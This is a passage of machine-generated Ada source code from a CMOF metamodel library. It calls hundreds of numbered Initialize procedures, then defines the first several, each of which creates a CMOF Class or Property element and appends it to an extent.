Initialize_215 (Extent);
Initialize_216 (Extent);
Initialize_217 (Extent);
Initialize_218 (Extent);
Initialize_219 (Extent);
Initialize_220 (Extent);
Initialize_221 (Extent);
Initialize_222 (Extent);
Initialize_223 (Extent);
Initialize_224 (Extent);
Initialize_225 (Extent);
Initialize_226 (Extent);
Initialize_227 (Extent);
Initialize_228 (Extent);
Initialize_229 (Extent);
Initialize_230 (Extent);
Initialize_231 (Extent);
Initialize_232 (Extent);
Initialize_233 (Extent);
Initialize_234 (Extent);
Initialize_235 (Extent);
Initialize_236 (Extent);
Initialize_237 (Extent);
Initialize_238 (Extent);
Initialize_239 (Extent);
Initialize_240 (Extent);
Initialize_241 (Extent);
Initialize_242 (Extent);
Initialize_243 (Extent);
Initialize_244 (Extent);
Initialize_245 (Extent);
Initialize_246 (Extent);
Initialize_247 (Extent);
Initialize_248 (Extent);
Initialize_249 (Extent);
Initialize_250 (Extent);
Initialize_251 (Extent);
Initialize_252 (Extent);
Initialize_253 (Extent);
Initialize_254 (Extent);
Initialize_255 (Extent);
Initialize_256 (Extent);
Initialize_257 (Extent);
Initialize_258 (Extent);
Initialize_259 (Extent);
Initialize_260 (Extent);
Initialize_261 (Extent);
Initialize_262 (Extent);
Initialize_263 (Extent);
Initialize_264 (Extent);
Initialize_265 (Extent);
Initialize_266 (Extent);
Initialize_267 (Extent);
Initialize_268 (Extent);
Initialize_269 (Extent);
Initialize_270 (Extent);
Initialize_271 (Extent);
Initialize_272 (Extent);
Initialize_273 (Extent);
Initialize_274 (Extent);
Initialize_275 (Extent);
Initialize_276 (Extent);
Initialize_277 (Extent);
Initialize_278 (Extent);
Initialize_279 (Extent);
Initialize_280 (Extent);
Initialize_281 (Extent);
Initialize_282 (Extent);
Initialize_283 (Extent);
Initialize_284 (Extent);
Initialize_285 (Extent);
Initialize_286 (Extent);
Initialize_287 (Extent);
Initialize_288 (Extent);
Initialize_289 (Extent);
Initialize_290 (Extent);
Initialize_291 (Extent);
Initialize_292 (Extent);
Initialize_293 (Extent);
Initialize_294 (Extent);
Initialize_295 (Extent);
Initialize_296 (Extent);
Initialize_297 (Extent);
Initialize_298 (Extent);
Initialize_299 (Extent);
Initialize_300 (Extent);
Initialize_301 (Extent);
Initialize_302 (Extent);
Initialize_303 (Extent);
Initialize_304 (Extent);
Initialize_305 (Extent);
Initialize_306 (Extent);
Initialize_307 (Extent);
Initialize_308 (Extent);
Initialize_309 (Extent);
Initialize_310 (Extent);
Initialize_311 (Extent);
Initialize_312 (Extent);
Initialize_313 (Extent);
Initialize_314 (Extent);
Initialize_315 (Extent);
Initialize_316 (Extent);
Initialize_317 (Extent);
Initialize_318 (Extent);
Initialize_319 (Extent);
Initialize_320 (Extent);
Initialize_321 (Extent);
Initialize_322 (Extent);
Initialize_323 (Extent);
Initialize_324 (Extent);
Initialize_325 (Extent);
Initialize_326 (Extent);
Initialize_327 (Extent);
Initialize_328 (Extent);
Initialize_329 (Extent);
Initialize_330 (Extent);
Initialize_331 (Extent);
Initialize_332 (Extent);
Initialize_333 (Extent);
Initialize_334 (Extent);
Initialize_335 (Extent);
Initialize_336 (Extent);
Initialize_337 (Extent);
Initialize_338 (Extent);
Initialize_339 (Extent);
Initialize_340 (Extent);
Initialize_341 (Extent);
Initialize_342 (Extent);
Initialize_343 (Extent);
Initialize_344 (Extent);
Initialize_345 (Extent);
Initialize_346 (Extent);
Initialize_347 (Extent);
Initialize_348 (Extent);
Initialize_349 (Extent);
Initialize_350 (Extent);
Initialize_351 (Extent);
Initialize_352 (Extent);
Initialize_353 (Extent);
Initialize_354 (Extent);
Initialize_355 (Extent);
Initialize_356 (Extent);
Initialize_357 (Extent);
Initialize_358 (Extent);
Initialize_359 (Extent);
Initialize_360 (Extent);
Initialize_361 (Extent);
Initialize_362 (Extent);
Initialize_363 (Extent);
Initialize_364 (Extent);
Initialize_365 (Extent);
Initialize_366 (Extent);
Initialize_367 (Extent);
Initialize_368 (Extent);
Initialize_369 (Extent);
Initialize_370 (Extent);
Initialize_371 (Extent);
Initialize_372 (Extent);
Initialize_373 (Extent);
Initialize_374 (Extent);
Initialize_375 (Extent);
Initialize_376 (Extent);
Initialize_377 (Extent);
Initialize_378 (Extent);
Initialize_379 (Extent);
Initialize_380 (Extent);
Initialize_381 (Extent);
Initialize_382 (Extent);
Initialize_383 (Extent);
Initialize_384 (Extent);
Initialize_385 (Extent);
Initialize_386 (Extent);
Initialize_387 (Extent);
Initialize_388 (Extent);
Initialize_389 (Extent);
Initialize_390 (Extent);
Initialize_391 (Extent);
Initialize_392 (Extent);
Initialize_393 (Extent);
Initialize_394 (Extent);
Initialize_395 (Extent);
Initialize_396 (Extent);
Initialize_397 (Extent);
Initialize_398 (Extent);
Initialize_399 (Extent);
Initialize_400 (Extent);
Initialize_401 (Extent);
Initialize_402 (Extent);
Initialize_403 (Extent);
Initialize_404 (Extent);
Initialize_405 (Extent);
Initialize_406 (Extent);
Initialize_407 (Extent);
Initialize_408 (Extent);
Initialize_409 (Extent);
Initialize_410 (Extent);
Initialize_411 (Extent);
Initialize_412 (Extent);
Initialize_413 (Extent);
Initialize_414 (Extent);
Initialize_415 (Extent);
Initialize_416 (Extent);
Initialize_417 (Extent);
Initialize_418 (Extent);
Initialize_419 (Extent);
Initialize_420 (Extent);
Initialize_421 (Extent);
Initialize_422 (Extent);
Initialize_423 (Extent);
Initialize_424 (Extent);
Initialize_425 (Extent);
Initialize_426 (Extent);
Initialize_427 (Extent);
Initialize_428 (Extent);
Initialize_429 (Extent);
Initialize_430 (Extent);
Initialize_431 (Extent);
Initialize_432 (Extent);
Initialize_433 (Extent);
Initialize_434 (Extent);
Initialize_435 (Extent);
Initialize_436 (Extent);
Initialize_437 (Extent);
Initialize_438 (Extent);
Initialize_439 (Extent);
Initialize_440 (Extent);
Initialize_441 (Extent);
Initialize_442 (Extent);
Initialize_443 (Extent);
Initialize_444 (Extent);
Initialize_445 (Extent);
Initialize_446 (Extent);
Initialize_447 (Extent);
Initialize_448 (Extent);
Initialize_449 (Extent);
Initialize_450 (Extent);
Initialize_451 (Extent);
Initialize_452 (Extent);
Initialize_453 (Extent);
Initialize_454 (Extent);
Initialize_455 (Extent);
Initialize_456 (Extent);
Initialize_457 (Extent);
Initialize_458 (Extent);
Initialize_459 (Extent);
Initialize_460 (Extent);
Initialize_461 (Extent);
Initialize_462 (Extent);
Initialize_463 (Extent);
Initialize_464 (Extent);
Initialize_465 (Extent);
Initialize_466 (Extent);
Initialize_467 (Extent);
Initialize_468 (Extent);
Initialize_469 (Extent);
Initialize_470 (Extent);
Initialize_471 (Extent);
Initialize_472 (Extent);
Initialize_473 (Extent);
Initialize_474 (Extent);
Initialize_475 (Extent);
Initialize_476 (Extent);
Initialize_477 (Extent);
Initialize_478 (Extent);
Initialize_479 (Extent);
Initialize_480 (Extent);
Initialize_481 (Extent);
Initialize_482 (Extent);
Initialize_483 (Extent);
Initialize_484 (Extent);
Initialize_485 (Extent);
Initialize_486 (Extent);
Initialize_487 (Extent);
Initialize_488 (Extent);
Initialize_489 (Extent);
Initialize_490 (Extent);
Initialize_491 (Extent);
Initialize_492 (Extent);
Initialize_493 (Extent);
Initialize_494 (Extent);
Initialize_495 (Extent);
Initialize_496 (Extent);
Initialize_497 (Extent);
Initialize_498 (Extent);
Initialize_499 (Extent);
Initialize_500 (Extent);
Initialize_501 (Extent);
Initialize_502 (Extent);
Initialize_503 (Extent);
Initialize_504 (Extent);
Initialize_505 (Extent);
Initialize_506 (Extent);
Initialize_507 (Extent);
Initialize_508 (Extent);
Initialize_509 (Extent);
Initialize_510 (Extent);
Initialize_511 (Extent);
Initialize_512 (Extent);
Initialize_513 (Extent);
Initialize_514 (Extent);
Initialize_515 (Extent);
Initialize_516 (Extent);
Initialize_517 (Extent);
Initialize_518 (Extent);
Initialize_519 (Extent);
Initialize_520 (Extent);
Initialize_521 (Extent);
Initialize_522 (Extent);
Initialize_523 (Extent);
Initialize_524 (Extent);
Initialize_525 (Extent);
Initialize_526 (Extent);
Initialize_527 (Extent);
Initialize_528 (Extent);
Initialize_529 (Extent);
Initialize_530 (Extent);
Initialize_531 (Extent);
Initialize_532 (Extent);
Initialize_533 (Extent);
Initialize_534 (Extent);
Initialize_535 (Extent);
Initialize_536 (Extent);
Initialize_537 (Extent);
Initialize_538 (Extent);
Initialize_539 (Extent);
Initialize_540 (Extent);
Initialize_541 (Extent);
Initialize_542 (Extent);
Initialize_543 (Extent);
Initialize_544 (Extent);
Initialize_545 (Extent);
Initialize_546 (Extent);
Initialize_547 (Extent);
Initialize_548 (Extent);
Initialize_549 (Extent);
Initialize_550 (Extent);
Initialize_551 (Extent);
Initialize_552 (Extent);
Initialize_553 (Extent);
Initialize_554 (Extent);
Initialize_555 (Extent);
Initialize_556 (Extent);
Initialize_557 (Extent);
Initialize_558 (Extent);
Initialize_559 (Extent);
Initialize_560 (Extent);
Initialize_561 (Extent);
Initialize_562 (Extent);
Initialize_563 (Extent);
Initialize_564 (Extent);
Initialize_565 (Extent);
Initialize_566 (Extent);
Initialize_567 (Extent);
Initialize_568 (Extent);
Initialize_569 (Extent);
Initialize_570 (Extent);
Initialize_571 (Extent);
Initialize_572 (Extent);
Initialize_573 (Extent);
Initialize_574 (Extent);
Initialize_575 (Extent);
Initialize_576 (Extent);
Initialize_577 (Extent);
Initialize_578 (Extent);
Initialize_579 (Extent);
Initialize_580 (Extent);
Initialize_581 (Extent);
Initialize_582 (Extent);
Initialize_583 (Extent);
Initialize_584 (Extent);
Initialize_585 (Extent);
Initialize_586 (Extent);
Initialize_587 (Extent);
Initialize_588 (Extent);
Initialize_589 (Extent);
Initialize_590 (Extent);
Initialize_591 (Extent);
Initialize_592 (Extent);
Initialize_593 (Extent);
Initialize_594 (Extent);
Initialize_595 (Extent);
Initialize_596 (Extent);
Initialize_597 (Extent);
Initialize_598 (Extent);
Initialize_599 (Extent);
Initialize_600 (Extent);
Initialize_601 (Extent);
Initialize_602 (Extent);
Initialize_603 (Extent);
Initialize_604 (Extent);
Initialize_605 (Extent);
Initialize_606 (Extent);
Initialize_607 (Extent);
Initialize_608 (Extent);
Initialize_609 (Extent);
Initialize_610 (Extent);
Initialize_611 (Extent);
Initialize_612 (Extent);
Initialize_613 (Extent);
Initialize_614 (Extent);
Initialize_615 (Extent);
Initialize_616 (Extent);
Initialize_617 (Extent);
Initialize_618 (Extent);
Initialize_619 (Extent);
Initialize_620 (Extent);
Initialize_621 (Extent);
Initialize_622 (Extent);
Initialize_623 (Extent);
Initialize_624 (Extent);
Initialize_625 (Extent);
Initialize_626 (Extent);
Initialize_627 (Extent);
Initialize_628 (Extent);
Initialize_629 (Extent);
Initialize_630 (Extent);
Initialize_631 (Extent);
Initialize_632 (Extent);
Initialize_633 (Extent);
Initialize_634 (Extent);
Initialize_635 (Extent);
Initialize_636 (Extent);
Initialize_637 (Extent);
Initialize_638 (Extent);
Initialize_639 (Extent);
Initialize_640 (Extent);
Initialize_641 (Extent);
Initialize_642 (Extent);
Initialize_643 (Extent);
Initialize_644 (Extent);
Initialize_645 (Extent);
Initialize_646 (Extent);
Initialize_647 (Extent);
Initialize_648 (Extent);
Initialize_649 (Extent);
Initialize_650 (Extent);
Initialize_651 (Extent);
Initialize_652 (Extent);
Initialize_653 (Extent);
Initialize_654 (Extent);
Initialize_655 (Extent);
Initialize_656 (Extent);
Initialize_657 (Extent);
Initialize_658 (Extent);
Initialize_659 (Extent);
Initialize_660 (Extent);
Initialize_661 (Extent);
Initialize_662 (Extent);
Initialize_663 (Extent);
Initialize_664 (Extent);
Initialize_665 (Extent);
Initialize_666 (Extent);
Initialize_667 (Extent);
Initialize_668 (Extent);
Initialize_669 (Extent);
Initialize_670 (Extent);
Initialize_671 (Extent);
Initialize_672 (Extent);
Initialize_673 (Extent);
Initialize_674 (Extent);
Initialize_675 (Extent);
Initialize_676 (Extent);
Initialize_677 (Extent);
Initialize_678 (Extent);
Initialize_679 (Extent);
Initialize_680 (Extent);
Initialize_681 (Extent);
Initialize_682 (Extent);
Initialize_683 (Extent);
Initialize_684 (Extent);
Initialize_685 (Extent);
Initialize_686 (Extent);
Initialize_687 (Extent);
Initialize_688 (Extent);
Initialize_689 (Extent);
Initialize_690 (Extent);
Initialize_691 (Extent);
Initialize_692 (Extent);
Initialize_693 (Extent);
Initialize_694 (Extent);
Initialize_695 (Extent);
Initialize_696 (Extent);
Initialize_697 (Extent);
Initialize_698 (Extent);
Initialize_699 (Extent);
Initialize_700 (Extent);
Initialize_701 (Extent);
Initialize_702 (Extent);
Initialize_703 (Extent);
Initialize_704 (Extent);
Initialize_705 (Extent);
Initialize_706 (Extent);
Initialize_707 (Extent);
Initialize_708 (Extent);
Initialize_709 (Extent);
Initialize_710 (Extent);
Initialize_711 (Extent);
Initialize_712 (Extent);
Initialize_713 (Extent);
Initialize_714 (Extent);
Initialize_715 (Extent);
Initialize_716 (Extent);
Initialize_717 (Extent);
Initialize_718 (Extent);
Initialize_719 (Extent);
Initialize_720 (Extent);
Initialize_721 (Extent);
Initialize_722 (Extent);
Initialize_723 (Extent);
Initialize_724 (Extent);
Initialize_725 (Extent);
Initialize_726 (Extent);
Initialize_727 (Extent);
Initialize_728 (Extent);
Initialize_729 (Extent);
Initialize_730 (Extent);
Initialize_731 (Extent);
Initialize_732 (Extent);
Initialize_733 (Extent);
Initialize_734 (Extent);
Initialize_735 (Extent);
Initialize_736 (Extent);
Initialize_737 (Extent);
Initialize_738 (Extent);
Initialize_739 (Extent);
Initialize_740 (Extent);
Initialize_741 (Extent);
Initialize_742 (Extent);
Initialize_743 (Extent);
Initialize_744 (Extent);
Initialize_745 (Extent);
Initialize_746 (Extent);
Initialize_747 (Extent);
Initialize_748 (Extent);
Initialize_749 (Extent);
Initialize_750 (Extent);
Initialize_751 (Extent);
Initialize_752 (Extent);
Initialize_753 (Extent);
Initialize_754 (Extent);
Initialize_755 (Extent);
Initialize_756 (Extent);
Initialize_757 (Extent);
Initialize_758 (Extent);
Initialize_759 (Extent);
Initialize_760 (Extent);
Initialize_761 (Extent);
Initialize_762 (Extent);
Initialize_763 (Extent);
Initialize_764 (Extent);
Initialize_765 (Extent);
Initialize_766 (Extent);
Initialize_767 (Extent);
Initialize_768 (Extent);
Initialize_769 (Extent);
Initialize_770 (Extent);
Initialize_771 (Extent);
Initialize_772 (Extent);
Initialize_773 (Extent);
Initialize_774 (Extent);
Initialize_775 (Extent);
Initialize_776 (Extent);
Initialize_777 (Extent);
Initialize_778 (Extent);
Initialize_779 (Extent);
Initialize_780 (Extent);
Initialize_781 (Extent);
Initialize_782 (Extent);
Initialize_783 (Extent);
Initialize_784 (Extent);
Initialize_785 (Extent);
Initialize_786 (Extent);
Initialize_787 (Extent);
Initialize_788 (Extent);
Initialize_789 (Extent);
Initialize_790 (Extent);
Initialize_791 (Extent);
Initialize_792 (Extent);
Initialize_793 (Extent);
Initialize_794 (Extent);
Initialize_795 (Extent);
Initialize_796 (Extent);
Initialize_797 (Extent);
Initialize_798 (Extent);
Initialize_799 (Extent);
Initialize_800 (Extent);
end Initialize;
------------------
-- Initialize_1 --
------------------
procedure Initialize_1 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_1;
------------------
-- Initialize_2 --
------------------
procedure Initialize_2 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_2;
------------------
-- Initialize_3 --
------------------
procedure Initialize_3 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_3;
------------------
-- Initialize_4 --
------------------
procedure Initialize_4 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_4;
------------------
-- Initialize_5 --
------------------
procedure Initialize_5 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_5;
------------------
-- Initialize_6 --
------------------
procedure Initialize_6 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_6;
------------------
-- Initialize_7 --
------------------
procedure Initialize_7 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_7;
------------------
-- Initialize_8 --
------------------
procedure Initialize_8 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_8;
------------------
-- Initialize_9 --
------------------
procedure Initialize_9 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_9;
-------------------
-- Initialize_10 --
-------------------
procedure Initialize_10 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_10;
-------------------
-- Initialize_11 --
-------------------
procedure Initialize_11 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_11;
-------------------
-- Initialize_12 --
-------------------
procedure Initialize_12 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_12;
-------------------
-- Initialize_13 --
-------------------
procedure Initialize_13 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_13;
-------------------
-- Initialize_14 --
-------------------
procedure Initialize_14 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_14;
-------------------
-- Initialize_15 --
-------------------
procedure Initialize_15 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_15;
-------------------
-- Initialize_16 --
-------------------
procedure Initialize_16 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_16;
-------------------
-- Initialize_17 --
-------------------
procedure Initialize_17 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_17;
-------------------
-- Initialize_18 --
-------------------
procedure Initialize_18 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_18;
-------------------
-- Initialize_19 --
-------------------
procedure Initialize_19 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_19;
-------------------
-- Initialize_20 --
-------------------
procedure Initialize_20 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_20;
-------------------
-- Initialize_21 --
-------------------
procedure Initialize_21 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_21;
-------------------
-- Initialize_22 --
-------------------
procedure Initialize_22 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_22;
-------------------
-- Initialize_23 --
-------------------
procedure Initialize_23 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_23;
-------------------
-- Initialize_24 --
-------------------
procedure Initialize_24 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_24;
-------------------
-- Initialize_25 --
-------------------
procedure Initialize_25 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_25;
-------------------
-- Initialize_26 --
-------------------
procedure Initialize_26 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_26;
-------------------
-- Initialize_27 --
-------------------
procedure Initialize_27 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_27;
-------------------
-- Initialize_28 --
-------------------
procedure Initialize_28 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_28;
-------------------
-- Initialize_29 --
-------------------
procedure Initialize_29 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_29;
-------------------
-- Initialize_30 --
-------------------
procedure Initialize_30 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_30;
-------------------
-- Initialize_31 --
-------------------
procedure Initialize_31 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_31;
-------------------
-- Initialize_32 --
-------------------
procedure Initialize_32 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_32;
-------------------
-- Initialize_33 --
-------------------
procedure Initialize_33 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Class;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_33;
-------------------
-- Initialize_34 --
-------------------
procedure Initialize_34 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_34;
-------------------
-- Initialize_35 --
-------------------
procedure Initialize_35 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_35;
-------------------
-- Initialize_36 --
-------------------
procedure Initialize_36 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_36;
-------------------
-- Initialize_37 --
-------------------
procedure Initialize_37 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_37;
-------------------
-- Initialize_38 --
-------------------
procedure Initialize_38 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_38;
-------------------
-- Initialize_39 --
-------------------
procedure Initialize_39 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_39;
-------------------
-- Initialize_40 --
-------------------
procedure Initialize_40 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_40;
-------------------
-- Initialize_41 --
-------------------
procedure Initialize_41 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_41;
-------------------
-- Initialize_42 --
-------------------
procedure Initialize_42 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_42;
-------------------
-- Initialize_43 --
-------------------
procedure Initialize_43 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_43;
-------------------
-- Initialize_44 --
-------------------
procedure Initialize_44 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_44;
-------------------
-- Initialize_45 --
-------------------
procedure Initialize_45 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_45;
-------------------
-- Initialize_46 --
-------------------
procedure Initialize_46 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_46;
-------------------
-- Initialize_47 --
-------------------
procedure Initialize_47 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_47;
-------------------
-- Initialize_48 --
-------------------
procedure Initialize_48 (Extent : AMF.Internals.AMF_Extent) is
Aux : AMF.Internals.CMOF_Element;
begin
Aux := AMF.Internals.Tables.CMOF_Constructors.Create_CMOF_Property;
AMF.Internals.Extents.Internal_Append (Extent, Aux);
end Initialize_48;
-------------------
-- Initialize_49 --
-------------------
